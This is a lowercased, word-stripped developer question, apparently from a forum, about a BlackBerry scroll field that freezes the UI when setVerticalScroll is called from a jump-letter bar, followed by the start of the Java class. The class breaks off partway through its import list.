i have question blackberry verticalscrollfield , scrolling seems lock or make ui unstable. following code blackberry screen worlds content on left (in scroll field) , jumpbar off right allows clicking content. when jump letter clicked setverticalscroll method called, performs scroll has unfortunate side effect of rendering ui unstable or unusable. scroll call done on ui thread not clear source of error is. app being tested in 6.0 simulator. i've included class can copied bb eclipse hacking/testing. the section kicks of scrolling can found towards bottom following code: uiapplication.getuiapplication().invokelater(new runnable(){ public void run() { scroller.setverticalscroll(y, true); }}); here's full class: package test; import java.util.vector; import net.rim.device.api.system.applicationmanager; import net.rim.device.api.ui.field; import net.rim.device.api.ui.font; import net.rim.device.api.ui.graphics; import net.rim.device.api.ui.to